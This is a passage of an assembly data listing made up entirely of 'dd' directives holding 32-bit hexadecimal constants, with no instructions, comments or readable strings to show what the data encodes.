0F05BD989h dd 22E10660h, 0C715308h, 696D4805h, 5A15159h, 955191D5h dd 402FECD2h, 4134F2DCh, 0CC016D4h, 22A45F1Ah, 0A5789E01h dd 0F1A120E7h, 342FCABFh, 3095F858h, 0D35A2D16h, 90029E4Fh dd 0D8417ABBh, 0BF2D606Eh, 5422D75h, 47C2268Fh, 8D428BE5h dd 0D8013442h, 610D7238h, 0F814FC63h, 45186F60h, 957E927Fh dd 311C3540h, 0B9FD9B83h, 2F79ED1Fh, 5B47277Eh, 0B20FC846h dd 0AB75F53Dh, 0CBCEA857h dd 7E1C141h, 479DC32Fh, 27016F99h, 5F2C7DD9h, 0B2C22215h dd 0C43004AAh, 67CC812Ch, 4DC92B1Dh, 7B08C82Ah, 903A3929h dd 1AEC58A7h, 263F72C2h, 0EBD47389h, 3406CE01h, 187A4F10h dd 0C69CFC17h, 89F3E201h, 0BFE95FF9h, 0E4FD123Ah, 0BDB288F2h dd 3C675A5Eh, 2152B6DEh, 5E7874B8h, 0E266134Ah, 27E1D001h dd 20A54C54h, 2916D57Ch, 0C3F42DE8h, 8B68165Dh, 0CE336164h dd 0E16B8A2Eh, 0EF03A408h, 0F1AF16DFh, 867559A6h, 5B67F930h dd 0EC009D11h, 808237FAh, 0B714752h, 5939F615h, 0EA1C5E3Eh dd 61D1129Ch, 20C8305Ah, 0DBB1D676h, 1AAFBB4Ah, 27EAF920h dd 89872CEh, 712725Ah, 8542A0CAh, 67BA6A18h, 671878EBh dd 550C21A0h, 73D72033h, 7029BE0Bh, 0E31244Bh, 0D559025Fh dd 0D97CD1D6h, 8419CA8Eh, 15C306ACh, 21F8B9CEh, 4C86413Fh dd 602FDC1Ch, 7E1FD009h, 0D0E57C34h, 0B7D5A29h, 0BC9257E8h dd 0AB584174h, 84B080E0h, 665C307Dh, 53407327h, 7F873168h dd 622DCC2Bh, 679276AEh, 5AD62916h, 0AFF20917h, 0B2921452h dd 0E95E0907h, 556BCA86h, 0C4CF5204h, 3B3FBDC8h, 24CA90E6h dd 0FB00FA48h, 0C13E8E77h, 0EFC02E5h, 0CBD5C86Eh, 0A8A744D6h dd 82A487B2h, 5293C940h, 2926071Dh, 883ACA8h, 47AB1C00h dd 0BE5667CCh, 4C0C7B43h, 1600D630h, 0C141943Ch, 0B8A102E6h dd 45B2F8C2h, 59CE0918h, 0C1460518h, 8FEA222Ch, 29723EF2h dd 4AC35866h, 0EC5616ACh, 9016A478h, 226004B7h, 6F1513DDh dd 7CD1CEB0h, 59CB0B08h, 2F0DC65Ah, 2F514BE9h, 4B82C83h dd 28C6A00Fh, 0E9D0EDE8h, 0B5C99271h, 8740AE9Eh, 0E82DA65Ch dd 0E2949739h, 1708CC30h, 0F5BACC5h, 0EF092A33h, 89F152BEh dd 6DDCE159h, 99B212EEh, 0C047C700h, 78FE07E2h, 0C4A7EACAh dd 0AC889F16h, 5CA110ACh, 0B8B5814Bh, 99C96BA8h, 0C09B41FCh dd 2C4FF7C7h, 0CDD0F43h, 58B51F44h, 2D02B4ACh, 7F9A6ADFh dd 2552BE85h, 7A001070h, 16E4B3D3h, 2884BCE9h, 0FE0E52A8h dd 1DA180CFh, 825BF828h, 51FD0496h, 7F3C40B1h, 0F391C7ADh dd 0FF28D745h, 0BED3B665h, 0BF6CDE3Dh, 6F0AE9A1h, 660423CAh dd 0F94A3F68h, 0B6520188h, 0F38853F4h, 1B60D8C9h, 21694D7h dd 2F1A0EBEh, 0B03AF484h, 8B945A58h, 9B26E64Dh, 0DE414F55h dd 4073E745h, 33E1084Ah, 8ABE2D3Fh, 8F289B17h, 2678580Bh dd 0E6678F50h, 1FFBC1B4h, 56818F5h, 0AACD8709h, 450A2A19h dd 2924DD71h, 0D701265Ah, 230D0237h, 0D4FB1A62h, 93645127h dd 0DEAD101h, 20EB2228h, 0B3062D0Ch, 0A7B80AB8h, 65F55605h dd 0FECC131h, 0BC9C82F5h, 2CB0B600h, 0F6F0E023h, 8E0B5FD4h dd 22304A6Bh, 0BB07CA68h, 0FF2B2509h, 0AA09125Eh, 70525Bh dd 2210F7C9h, 0E2BB5362h, 194B2512h, 63E1103h, 0BFBCF6h dd 12BA5209h, 9B2CCF48h, 2DE05131h, 901B583Bh, 5C828F9h dd 0C2CB307h, 0E9BD2068h, 0C4378025h, 0B2D9F004h, 6EC8A04Ch dd 6927317Eh, 0C258C9D0h, 0CE791E41h, 0B324C7E5h, 6A2F8700h dd 0B5D5F702h, 0DDA2738Eh, 4CC8DEE9h, 9B0D6856h, 46552F1Dh dd 0FD9F4C69h, 0FC5A8212h, 7FE49053h, 28269963h, 25F9B7D0h dd 398307A3h, 0A1415ADDh, 0B8EC2074h, 5B0071BEh, 5D786E2Dh dd 8A05010Dh, 291AB369h, 78DF2D0h, 11201B2h, 3C3920E8h dd 7EEDD9CBh, 0CE589B18h, 3959CDC8h, 5D55BE26h, 0BA4EE100h dd 7B8504Fh, 5F5B146Bh, 54E9C721h, 4E77BEE7h, 98D964B6h dd 5661275Dh, 5A1DD3AAh, 35D48302h, 4CC58902h, 0EDAC89BBh dd 6CFD1E5h, 8FBBA388h, 0D409CCFAh, 843D084Ch, 5C0B01EAh dd 205EB191h, 2D6933D9h, 51B78559h, 6CC542C2h, 81654BBAh dd 418F6401h, 3C98A7A8h, 2352A14Fh, 0CBD4346Eh, 2B304A05h dd 0A1C88566h, 4FA580E6h, 0B09D2BC8h, 0E23F989Ah, 0DECA9C06h dd 953F2CAh, 4C21203Bh, 0D824F551h, 660209DEh, 0B782B990h dd 32850F80h, 550CC9F2h, 77B98F40h, 425C7AE2h, 218907EFh dd 0D5421D3Ch, 22EE75Ah, 40831422h, 9F98C2CCh, 0D748459Ch dd 0DD91E970h, 0DF115A77h, 5382A488h, 0AFFC8CFAh, 0A9B5C397h dd 17244DEDh, 54C17789h, 480188AFh, 0CB20C4FAh, 2FDE303Fh dd 0B01BDA1Dh, 0EA8326CBh, 0C814137Dh, 8EC9575Eh, 49735E1Eh dd 0FA785C09h, 2C50A298h, 0FE24D4A5h, 5E3843C2h, 9C7A95CDh dd 0C79EB0DBh, 5446612h, 5A0B97A2h, 339AA678h, 0D145221h dd 322590E9h, 0EB5CCF94h, 81FE5EB9h, 354A7CE5h, 6BB52032h dd 5CD34B3Ch, 5B685CEh, 5F7B31CAh, 97CFC7EBh, 0F0020B16h dd 1C0AB259h, 4C14A510h, 81FF030h, 16E9D6EAh, 51ECD2A2h dd 3D40736Ah, 6880BB72h, 615C6271h, 9C752A80h, 0E09DA000h dd 0B9A59FDAh, 0F4069794h, 701FFD7h, 147A114Eh, 38DD0C82h dd 0A87815BEh, 4408C151h, 0A7141FD1h, 0F7330978h, 0D48BA1D7h dd 0A14B2F8Bh, 765F6D6Dh, 47925094h, 0FABD6EC0h, 60EB3D52h dd 0BAC1DB2Dh, 0FB653A54h, 0D19B60BFh, 0FC939E9h, 0D2AA0158h dd 712DD030h, 2FE6C38Ch, 1708C7B5h, 6EB7CDEAh, 310B288Bh dd 1C0868C3h, 0ACFA89AEh, 12A01E28h, 0F3FBA46Ah, 0AB49F913h dd 2CC3AA00h, 4A930EA0h, 0E9E9D089h, 0BB9FA89Eh, 0D870DA95h dd 3DB9507Dh, 54CF7C29h, 0F2DF8CDh, 81B2FD4h, 0B435FB44h dd 2712F48Ah, 0ACFC60FCh, 0A73CCC17h, 38C24152h, 25E9B83Ch dd 6F3ECE6h, 0C5EF8101h, 45709145h, 2E2B0D7h, 46707192h dd 2B58ECE9h, 58C20902h, 0F129C968h, 0D2A988A9h, 36090126h dd 0D9E451Bh, 492295E0h, 65D6E5C1h, 0C4536DA2h, 0D105B912h dd 0C818FAE6h, 243D9FC2h, 2AE7303Bh, 0F2D062Bh, 0BC402A71h dd 50207E01h, 0AFA4E914h, 0D6079675h, 5AD06785h, 0B6E8215Ah dd 0EDC15146h, 11093B18h, 0D9770B68h, 0E5918C00h, 0C7EEEA8Fh dd 4440325Eh, 20F70538h, 0FAC80BBEh, 8B58DF08h, 4D72893Fh dd 0F18841C6h, 250423E6h, 0D8AD685Bh, 0D14CC43Fh, 1C62EAE2h dd 5963E8DBh, 5BF92788h, 818067D9h, 507785EAh, 0FE1BF06h dd 880840C2h, 7D2CE90Ah, 0F79555F4h, 0B5FE2AA9h, 2508E999h dd 0DD88070Ch, 59EC305Bh, 664EE328h, 0A602F808h, 0B4504056h dd 0D22FE952h, 0B2ADB0E3h, 626B9E6Eh, 6C68FE1Bh, 7BDE0CBh dd 61192C3Bh, 133BCC6Bh, 8FDBB2DAh, 27B6168Bh, 0C0C55A2Dh dd 27C08A88h, 0E50BEE72h, 0F8FE6530h, 443401F0h, 89524898h dd 6FC22FEAh, 94C7435Dh, 0CEE6CCAAh, 912A3BCh, 9491B991h dd 0C92AC065h, 34BBED4Bh, 0CD4A3197h, 71C5942Ch, 0FC2B2E4Eh dd 7F2300CDh, 5E8290Ch, 817707A2h, 0F4564C0h, 7BEB6420h dd 594C287Eh, 6B4A05EAh, 0FF295672h, 347B0241h, 0C8178A6h dd 456B339Bh, 41DF3801h, 22ED3008h, 75963419h, 0A0071ACCh dd 3FD44181h, 5154F0F4h, 0DF01BE9Bh, 317CB137h, 443F5EF2h dd 0FBBD9ED2h, 91E48841h, 238E55D7h, 0A3B62D68h, 1A370503h dd 2AF2554h, 0C029EB1Ah, 5CE90BFDh, 6BF85810h, 0C131C027h dd 0CB7035BCh, 0A0545B32h, 0D860F7AEh, 0C405071Ah, 6E0C0962h dd 59F8C231h, 984DCB20h, 69BF0338h, 0EE215D61h, 18CC59Dh dd 7A59C5CFh, 0A0742C05h, 0F043CA0Dh, 5DEA39h, 3551721Eh dd 60AB7C09h, 0C1648961h, 0AB7402E2h, 0CE3B02D8h, 0B930E94Eh dd 74C27AF6h, 7CC40F3Ah, 4B9CCD36h, 59076153h, 0DFC2FD68h dd 1254D0B2h, 975CE950h, 9900180Bh, 34936806h, 3D7946BFh dd 799652DAh, 40FDF244h dd 1B029387h, 0E2E93DA1h, 0AC5B6B46h, 2EEA2980h, 56630D32h dd 2B91D031h, 95539328h, 7CC930EEh, 8BE2B05Eh, 25EB921h dd 29BF039Ah, 403CC255h, 0BF66900h, 0E8C480DCh, 0BC872B84h dd 4C994B19h, 85100B3Fh, 57022C5Ah, 91617BBFh, 0D2015549h dd 2076080Dh, 0DC5BD68h, 6BFCDF29h, 229FB092h, 72D95F0Eh dd 0C98160F7h, 782D4391h, 41D12E17h, 16AE3984h, 0C861428Ah dd 0F0630B09h, 9C6DF43Fh, 0F23A2D12h, 95204B6Eh, 485F6292h dd 0BB79B6CEh, 85520B92h, 59306FB6h, 145B05D6h, 0C8F7F9EDh dd 67600D6Bh, 1930800Ch, 17A2B83Eh, 0F8B269E9h, 433CC1E8h dd 0A1413560h, 87692832h, 8095B2C0h, 6C14DF2h, 0A917E96Eh dd 5680553Ch, 27356851h, 94B826E4h, 0F71E925h, 33348477h dd 3DBF81AAh, 0BA9C3FA3h, 7CA82468h, 0C156692Ch, 0F77948E9h dd 0EE5149F9h, 0A45FECD2h, 76F76CC3h, 0D1024B9Bh, 8CBA8809h dd 2B420F8Fh, 5AC440A6h, 0C6BCE4ECh, 0C95A5125h, 8D41EF85h dd 0A55D7C29h, 95A9D9C8h, 2AED9A20h, 8D7BC3CBh, 5616454Bh dd 4B6D63D9h, 37311112h, 1BFB5Bh, 49BFA38Eh, 9EBA0873h dd 7D83E500h, 5D5FFA01h, 57095B0Ch, 5A77CA1Ch, 2947A391h dd 6805086Fh, 655E7694h, 1A44F209h, 0A0184B8h, 5EED32BBh dd 0A38834DCh, 0C7010E35h, 0A8D8F8EBh, 25BA294Ch, 0E9793021h dd 9194CD4h, 702AC96h, 31C7A27Ah, 0C25AD712h, 847ED980h dd 2500368h, 0F29FABE9h, 40B62F26h, 0D298465h, 0E912EEA8h dd 8AECF8A5h, 0DE705489h, 0AD6D3A0Ah, 0E9099F6Ah, 6839611Fh dd 703344D9h, 0BF69894Eh, 5CCB970Eh, 955EA6CCh, 5CE12ED9h dd 93BC5E9h, 607E05B1h, 0BFE22773h, 0F80B84E4h, 0A583E95Fh dd 57FFBED9h, 0D160E0EDh, 22C9996Bh, 922EF4h, 4D6F380h dd 8E5CE172h, 722C3A5Ch, 12E072F1h, 0AC5C4E9h, 824447FDh dd 163731Ah, 36CF8127h, 6A75E22Bh, 0C82D65D9h, 6490B05Fh dd 71A3D55Bh, 0E2FAB45Eh, 0D6E62641h, 0A246EB43h, 0F067E918h dd 5BCD013Eh, 8709B059h, 8CF72C5Ah, 4BF4E917h, 1C7101F8h dd 0D22DCC00h, 4A466853h, 3A33A650h, 550D96FDh, 2AE9FCF0h dd 0C296A6B2h, 7668563Ah, 4053A485h, 0D6E18BD9h, 20F6E9ACh dd 94A46A96h, 2570923Ch, 0DA2A2B29h, 3124C61h, 6D372B1Dh dd 55E7BAE9h, 0B63DFF45h, 22E2D4Ch, 5ED9410Bh, 0C6A85C31h dd 0F251AFA8h, 0A09FE942h, 66F328ADh, 7E8BBD5Ah, 0E6BD1650h dd 0C0681B65h, 19A23505h, 7C894D80h, 0A0F60740h, 25DED753h dd 4856325Fh, 58D207D2h, 0F11A1152h, 8BFF0F31h, 27375635h dd 73283645h, 133EA52Dh, 0EE59C150h, 0FDE9727Eh, 555BE84Ch dd 0EC96FEB2h, 58680BD5h, 504B9810h, 0C5D9F353h, 83B66220h dd 97B9C883h, 365F7F54h, 6FB47B8Ah, 67685A82h, 90B3460Bh dd 4EB9F4DEh, 31B33009h, 6A0B3E76h, 254B0DE9h, 0DDC052BEh dd 0A32DD868h, 0E281C894h, 0EE4317B0h, 4E5F0128h, 68A2C887h dd 38BA006Fh, 0E90D57E5h, 6F7E911Dh, 32E0266Bh, 102FC280h dd 558C5830h, 5661D21Ah, 9C483230h, 66A6BFF8h, 57C3406Ch dd 31E0F5C2h, 2708D848h, 76BAC8B0h, 7A8F2F6Fh, 4C16847Ah dd 6FA8636Ch, 77F9A0Fh, 97FD8720h, 0B0E7D0F7h, 0A3D31C0Ch dd 1841714h, 487EE1EFh, 0B1B15723h, 29B084E5h, 0A7456771h dd 20E872CFh, 16EE5904h, 10F3AD24h, 48778E44h, 0CB5E5A23h dd 940A1001h, 3BFABF07h, 6104BB51h, 7345C006h, 60B7CB69h dd 9119743h, 0CDE960B7h, 5251D460h, 48AAB225h, 804DEB43h dd 0E495F986h, 0D03509C3h, 0E57CF501h, 0E635A726h, 0D1D945FBh dd 44B4B7F8h, 5F5AE97Eh, 72ED4B90h, 2C402F41h, 9B400642h dd 732E1731h, 0E21C9E56h, 4F72D603h, 0EAD48DE9h, 9E1A3780h dd 0F31548E0h, 3A92F124h, 0B12555Eh, 33478F16h, 81C959A5h dd 0A8222A2Fh, 0B7845729h, 0C4CBA25Dh, 0C0149F1Fh, 92D9232Eh dd 6DC0141h, 8220491Bh, 0B5C6380Ch, 500657C9h, 0A8412C52h dd 5286E630h, 288783B1h, 0F5E467C8h, 0BA5FE00Bh, 0F535640Bh dd 77D47056h, 264C1340h, 49780495h, 94DDAAB9h, 683C8DEDh dd 2A38B4Eh, 0E9477BC5h, 0BB28C109h, 0C428343Fh, 7DF3547Eh dd 0DF7DA109h, 0E3C1CA01h, 8A148307h, 46A0C72h, 0CAE90312h dd 0D78CAF4Ch, 3455923Bh, 0A3488D02h, 5452C42Fh, 30E94D9Ch dd 0C132F63Eh, 51D03E8h, 73933D96h, 832A8BE1h, 67A82DD5h dd 9D9EC8EDh, 8991E525h, 5183B70Fh, 0CD02AB1Bh, 0F86EA5C1h dd 0E1D28E78h, 3C790B8Ch, 0F12E937Ah, 0DFAAAFE1h, 3492C9F8h dd 0F730D50Dh, 0CBB031D1h, 85F9F14Ah, 4DB608B8h, 2D3AD39h dd 3A68FF4h, 0E693FC88h, 137314CAh, 0E8642597h, 0AE4A04BBh dd 0C1251BFBh, 0C1013068h, 0CCCE71EEh, 0C026500Bh, 0C9043A22h dd 0D480D01Ch, 339C5CDh, 0EDD1134Fh, 448DDF7h, 1CF5023Fh dd 5D31768Ch, 5AE9C282h, 0CD254954h, 98540868h, 2B312E3Eh dd 0DCBA5280h, 33D1B08h, 0B3F2814Ah, 0BA947509h, 59C32987h dd 0C8CAE010h, 12CF3164h, 0DA7CFF24h, 96755642h, 0EB831214h dd 0F5372402h, 55A42E16h, 15895BAh, 0FF9AA783h, 0EB7EB044h dd 688EEC83h, 0E468FC4Ah, 0FE1138F2h, 37A45B50h, 8D334A41h dd 798E7318h, 5711D766h, 0A01B292Ch, 5B6885CFh, 316B9D7Dh dd 13BF4F3h, 508B1348h, 0F009F328h, 0B0D75h, 0F666A49Ah dd 8862B7B8h, 82C274D4h, 49F520D9h, 89710195h, 0E9C13ABCh dd 0C96B288Eh, 52B0413Bh, 41DC6F8Bh, 436984D3h, 39279E1Fh dd 0E958E831h, 6F72B827h, 0E2085916h, 9F4B89A0h, 27492C94h dd 10F64CA6h, 8003A212h, 0D5F6C4EDh, 0B8F37220h, 8C933348h dd 51EAAD0Eh, 70B27969h, 0F1509083h, 8D41480Dh, 39E65C57h dd 878BCB7h, 722DBD7Ch, 2BC112E7h, 0F99104A5h, 0F0050043h dd 9A1D767Eh, 1A350519h, 0D153BE02h, 7AA6C58h, 58957689h dd 0C5BF314Fh, 0AE0D098Dh, 1AA889AAh, 9A4008D3h, 8B09E205h dd 42EAE99Ah, 0C9657CBh, 0ABD6012Ch, 0CE2C3E87h, 0EF834F21h dd 37B961F2h, 97584474h, 0B4E1E21Bh, 6BA329Fh, 529A4A77h dd 400A020Ch, 0A4E916B7h, 0EB818EFCh, 51C15F77h, 0A072F268h dd 6695E908h, 0D08D264Ah, 0CF646838h, 8A38D731h, 0E9C76996h dd 652F7B8Eh, 64A651CEh, 0D361EE5Ch, 0BD001738h, 7B1272D4h dd 660E4519h, 300B8076h, 542D72Dh, 0E9485726h, 0F88A9440h dd 0D03AB969h, 0A06E29DFh, 79E83661h, 0BDAD62Ch, 7F003A09h dd 71212940h, 97522097h, 80029835h, 333E3005h, 9EE5383Bh dd 2437CB2Ah, 0E0586912h, 12B4F517h, 0B608C47h, 70F45DB1h dd 5082CE26h, 0DE105768h, 493160C8h, 0E9190D70h, 14CFD891h dd 0BE9537Bh, 6579A972h, 3A09CE04h, 8BFADFA1h, 209A5A07h dd 0BA309AFFh, 6568FF3Ch, 1EC69F75h, 5FC4F94Ah, 9DF8C52Dh dd 0C2A4BCC8h, 32774C99h, 0FED838C3h, 0E998BD22h, 62814729h dd 58CBD528h, 0BBD5F068h, 321BFD82h, 2854A8DAh, 14B9EA97h dd 0B45EBA48h, 0C1955F20h, 0AB0487EFh, 4F8CA517h, 0D4ACD72Ch dd 646C1EAh, 0E88D6F17h, 344A8F32h, 99BD82F1h, 7F5E156Ah dd 0F8F589CFh, 0C58095C5h, 0F0300805h, 0BFD8B8h, 79EBE57h dd 1472F95h, 0A6258765h, 0D6955B70h, 56B0D244h, 2BF50BFFh dd 595281h, 0C8C264F3h, 5BDD01FBh, 4608E917h, 0E842608Ch dd 4D7F7DCDh, 9E4C76EEh, 101C6C00h, 58E40533h, 0E911460Bh dd 0B998601Ah, 0CC430588h dd 0F2CF095Bh, 82F7C014h, 0B748102Dh, 16E94860h, 911668F5h dd 10954CFBh, 0C651E5ABh, 2DA5CB30h, 0E8604038h, 241E5B25h dd 354E4962h, 4142C54Dh, 0C8E612A1h, 4B13686Dh, 8FCB3002h dd 4B5C8347h, 5DBF44B9h, 14CC4FA4h, 13581B87h, 0D9307268h dd 0C3612ACAh, 4E275AD6h, 0E92F951Bh, 30289CD8h, 2A46D58h dd 22174438h, 0E6045721h, 6AAF952h, 94349BEBh, 0DFE3040Ch dd 0C4624F6Ch, 0E2F482D1h, 59E82801h, 0EC47752Ah, 72BB13FAh dd 4ABB8665h, 445659AFh, 0F4AC1329h, 7A1DC8F4h, 0D0A4D05Fh dd 5B39179Dh, 817E5D5Eh, 0EAC109DFh, 0ED1E8203h, 0E0461047h dd 5E4A1493h, 0E7700211h, 7D5EEEB4h, 44425F13h, 0D927CCE9h dd 0B3530935h, 61B68255h, 0E92CE0C0h, 70224F6Eh, 568528Dh dd 815D2F4Dh, 17EC5B88h, 0E915056Bh, 5A3AD0Fh, 0AF368C3h dd 0CB678662h, 11D4E91Ch, 56F1DA6Bh, 2DB05BD1h, 0CA3B130Fh dd 0C4910803h, 21FC5F16h, 0DE616625h, 148F3455h, 3FFE1C12h dd 74056B8h, 8F2F2AE9h, 70C20FA6h, 5E6B1379h, 5F362185h dd 4C3E869h, 45D93DC6h, 90D4815Ah, 11A52DAEh, 0F605BE18h dd 81DB144Dh, 4BD7D6Dh, 695A9FA8h, 968F3F14h, 0C40EE913h dd 8F488129h, 0A3BF00F7h, 3CE2013Dh, 0B2E7814Fh, 0D260D24Bh dd 0E89697AAh, 61EA80E2h, 0F141D3F3h, 776AA390h, 0C9BAB22Dh dd 43943DFEh, 6BE60090h, 0DD3133F4h, 0CA4AE9h, 5018B880h dd 439F5F9Ah, 0C37A2FBh, 4B03EF88h, 290EAACDh, 30F2EFFDh dd 5E22D709h, 0F459DAB5h, 4125D26h, 9D6AC3CDh, 60A573FEh dd 4666E11Eh, 9A59B3Eh, 0F145D121h, 0BE9C105h, 0C45B79F8h dd 0F6F02053h, 0D13B655Bh, 0AFCE056Dh, 20ACA86Fh, 8D04023Eh dd 958CE936h, 0C2131D4Dh, 62D705C2h, 0BD2AE584h, 0F99C51E2h dd 803025F1h, 2F07EA2Ah, 68297FDEh, 2F08B0C2h, 0BE561198h dd 474BA90Bh, 1255586Dh, 0B417D7E9h, 651EDE7Bh, 6BD21004h dd 2AE7684h, 43DD687Bh, 52034646h, 7A6BB951h, 0CAA39FE4h dd 6F95C059h, 0C91F5A28h, 0BD7C50DBh, 6A24FD50h, 2C956429h dd 0E0E90B0Ah, 627D540Fh, 0B8009142h, 4B3BCDDAh, 7341BC75h dd 7557CAB7h, 0BF2DC4A3h, 306413C1h, 7A005D3h, 0D84F11E9h dd 0F55A06A2h, 34BEF137h, 0FA723179h, 354ED779h, 0B3A34717h dd 0CE8C1C0h, 3ECBC831h, 0D7331295h, 14B7BEA8h, 9300B858h dd 0E92E4944h, 0E6BF228Dh, 412CB009h, 0EE1220B9h, 98C10180h dd 6DC809F7h, 79007FB4h, 336C6B03h, 0C482FAEDh, 45E31CCFh dd 889E9F2h, 0A14DFBD6h, 0D71FD8F4h, 12A2B8ABh, 3DFFBA19h dd 840CB2FBh, 0C6010E9Bh, 7DF02858h, 0D0448B8Dh, 0F25E4B6Eh dd 0CCF6D258h, 99D80417h, 0DD9A6BC7h, 0C092A45Eh, 83CEB35Bh dd 0F83E6816h, 732D5BF5h, 0E989026Ah, 7C448C8Eh, 1E84C607h dd 9C47794h, 0F60F73BCh, 0AFAC80D6h, 9E90E806h, 38C0CF54h dd 21F6845Ah, 0BEEE8100h, 14E8D49h, 854DE68h, 0AFE85B13h dd 94E6FCA4h, 93B44A46h, 47315AE9h, 82B9F2D8h, 6BCAB67Fh dd 923C13DEh, 31EBE5FAh, 3CE83CC8h, 0C236D18Eh, 73885E9h dd 0EBD0194Eh, 2A19BA81h, 6FE43375h, 878360C8h, 223E54EBh dd 0CB010613h, 3808B710h, 0F856DE03h, 0ED74BC2Dh, 0C79C44CAh dd 0FBB86309h, 0F127001Ch, 0BF4A6A1Dh, 3A081FA8h, 0D1BFA099h dd 0D0490731h, 0E3088B53h, 0CB0628D9h, 6D681706h, 0E9522723h dd 0FB7BED0h, 2F27C4F1h, 0C1E824FFh, 7B1B373h, 6C76ACE2h dd 86B20A49h, 1AB6D188h, 6FF24A7h, 0B455550Ah, 0C9640062h dd 0E9019603h, 3842E895h, 6655C5CAh, 54BF326Bh, 0C14B5944h dd 0D5315907h, 9508EA26h, 624F409Bh, 24E9F12Ch, 976D4237h dd 0B53121CBh, 0BECC2B07h, 0B4CC5EDFh, 0C04BD85Eh, 9F215C88h dd 34559642h, 54CA98A0h, 4A2919ADh, 1582CEBh, 9B98C35Fh dd 292640EDh, 212DF80Fh, 86426F6Ch, 2D61323Fh, 0D5F904EBh dd 0E72DE941h, 50EEC87Fh, 203BE2B4h, 0AC89BD98h, 5213BAFCh dd 0E9B00BF9h, 0CC92890Dh, 73826C2Dh, 9BA5BD47h, 0D5F71960h dd 81024571h, 785F98CDh, 0E0F36205h, 2C70BEBAh, 14933415h dd 2184B8F4h, 0C424B83Eh, 0B4332F90h, 0DFCEE9C0h, 4992B1B4h dd 0CABA87C0h, 6820962h, 0E700D2F7h, 9BA89F0Eh, 1261895Dh dd 9C95E52Eh, 40539DE0h, 612E5846h, 38184B9Dh, 2D13064Dh dd 1D437E87h, 0FDAC50EBh, 0AD8B9E21h, 64D4FC3Fh, 6142EA4Ch dd 5C2CA668h, 68A49DEh, 0F3EA80CAh, 31DBDD8Ah, 2ED7D048h dd 5D50BCF4h, 68DB9753h, 161FF16Bh, 0B4B9F90Ch, 4CB65FFh dd 1C8E4953h, 0F2785827h, 851FD592h, 38D954B1h, 0E8B4D366h dd 880A4006h, 35F9D377h, 37F32BAFh, 0AF19C896h, 0EDCC8D5Bh dd 0BA1AD23Ch, 2FCD710h, 9AE9142Ah, 0B186C8C2h, 0B6520186h dd 5AF130B4h, 0BB537F28h, 0A89908h, 88D1C380h, 0F6735BDCh dd 5ECC01Eh, 0C785E4CFh, 0C46397F4h, 62E18277h, 5A91C90Ah dd 0FCD5897h, 0BD843FCBh, 0C4FE07FCh, 3E72ECA3h, 9C937C36h dd 24E8ED0Eh, 5801990h, 3E57294Bh, 2DD82801h, 16E2BF07h dd 3A275556h, 8B5628h, 41D47AA2h, 274B1EE9h, 0DDA2DE9h dd 2A12E2E9h, 42C7D900h, 4E360430h, 0E7371DC5h, 0E90FD779h dd 0B3289859h, 0B050017Bh, 2CD8F6B9h, 9921AEh, 0E9C228BFh dd 9A0F1727h, 0AFA054CEh, 56131B45h, 0C3A189A2h, 0FA8C4840h dd 28803F40h, 0A0D302F1h, 5A1468B3h, 71A33Ah, 85F780EDh dd 27E9FA88h, 3AA08486h, 11BF37F2h, 12000590h, 89EE40C8h dd 2CE95EF7h, 0F0518BE7h, 0F59AEBE9h, 7C526815h, 0A9D85F39h dd 31770244h, 7DB66851h, 0B7BE8479h, 0C3841A7Bh, 4976B4F4h dd 553B15B6h, 0A54AF3A4h, 0F12D1256h, 3BE84979h, 47943F07h dd 15E84FE4h, 0E28FC112h, 0FAC486F1h, 0F6E10917h, 8CF60D5Eh dd 0D8BE3B07h, 0E6BCE971h, 5D00100h, 5A20C8B7h, 44ABC987h dd 5F4E8958h, 497D2DE6h, 593BCC75h, 73FBB612h, 0FDD954E5h dd 499D5135h, 89107D51h, 63360050h, 0F8322D5Eh, 255B02D8h dd 1F210198h, 47B9D587h, 0F009008Eh, 5512055Eh, 21FFD24Ch dd 6BBAE966h, 9BA88553h, 0F2800280h, 0EB262C5Ah, 333B8428h dd 0BBF8E3FCh, 8135048Dh, 0C43D5BEDh, 8CBC173Ah, 63F0492Dh dd 0AA18D1D3h, 2F03EDFAh, 7C01F74Dh, 425D651Bh, 0ED56C390h dd 729F8339h, 0DA482B27h, 9C0CD667h, 0ACD997CAh, 7C46B203h dd 0B7BB0337h, 8190B850h, 2A317ECBh, 11515A4Fh, 685E307Eh dd 3DC936CFh, 5B7E220Ah, 991E4380h, 0D0C1D1EAh, 418C2960h dd 3B1730AEh, 9F98745Ch, 687EC24Bh, 2E6FEA13h, 1AD47044h dd 8D7019B6h, 0D0C188BDh, 0C0A60F02h, 0D2CDE38Ah, 8E22F571h dd 0FC4157CDh, 8EE6EC7Bh, 5E4BC1B4h, 938579B6h, 88094763h dd 0B6AFA12h, 4B365FE8h, 0CC96B25Ah, 0B7FB010h, 6FC48D4h dd 0D82712A0h, 0FA4C015Dh, 0BCEE1086h, 0D6A2AD2Dh, 14DEAE3Fh dd 0A0A4FEAh, 0A34D159Fh, 5632220h, 5A7DE516h, 0F04AC04Ah dd 5018C902h, 1F52E2C1h, 98E882FAh, 3917460Dh, 83655945h dd 0B3BA399h, 0F370C93Ch, 1FAD6817h, 0FAA43A65h, 0C5144AE9h dd 0D3ABB8A1h, 2224BBFCh, 0C68087ADh, 4AF633B5h, 0EE82F382h dd 2903D205h, 0F9B227F2h, 5E09D6F6h, 9D68F289h, 0FA201B7Ah dd 0BD5502F6h, 2A945A32h, 241204F8h, 82002258h, 0CB30B874h dd 5DEA3F31h, 734ACA83h, 0E2F819D5h, 0C80666BCh, 872FE901h dd 7B1BF4Ch, 106A275Eh dd 0B20A98DFh, 28DAC0D9h, 0B1D4FD4h, 0E8F2F6C9h, 0A27D7E20h dd 41348D90h, 13E84A71h, 0DD5A505Bh, 0EE29D26Ah, 0F6098C74h dd 9B7A4401h, 4F743F74h, 8A6CA6D4h, 0B4A4AF14h, 4D786858h dd 0C0D95444h, 0BB5FD20Eh, 27E5DFDCh, 1E91A0C8h, 0CA628C2Eh dd 93BAE557h, 3589915Eh, 0E6BA008Fh, 69D12432h, 0DE21A68h dd 5B2C605Ch, 0DFC253C5h, 167E5C1h, 0A1810CBFh, 868A81A5h dd 0E95B9756h, 273E7DC5h, 9077842Bh, 655E68A0h, 0F15B9B9Dh dd 0ED892597h, 0DC30D5h, 0DF131462h, 58D2C99Eh, 0A2625AE3h dd 0F409C452h, 0B0D769F6h, 0BAC74250h, 0F69B041Eh, 0C7EBC0DBh dd 0F5C937D0h, 0B01A964Eh, 1F127C44h, 0D36E6517h, 8C2CBB58h dd 54A04037h, 0E6F7594Eh, 3CD1E9C2h, 2781CB24h, 0C100F9D7h dd 0F70008E0h, 34DA0DD0h, 16053652h, 0E8A59D75h, 710F2205h 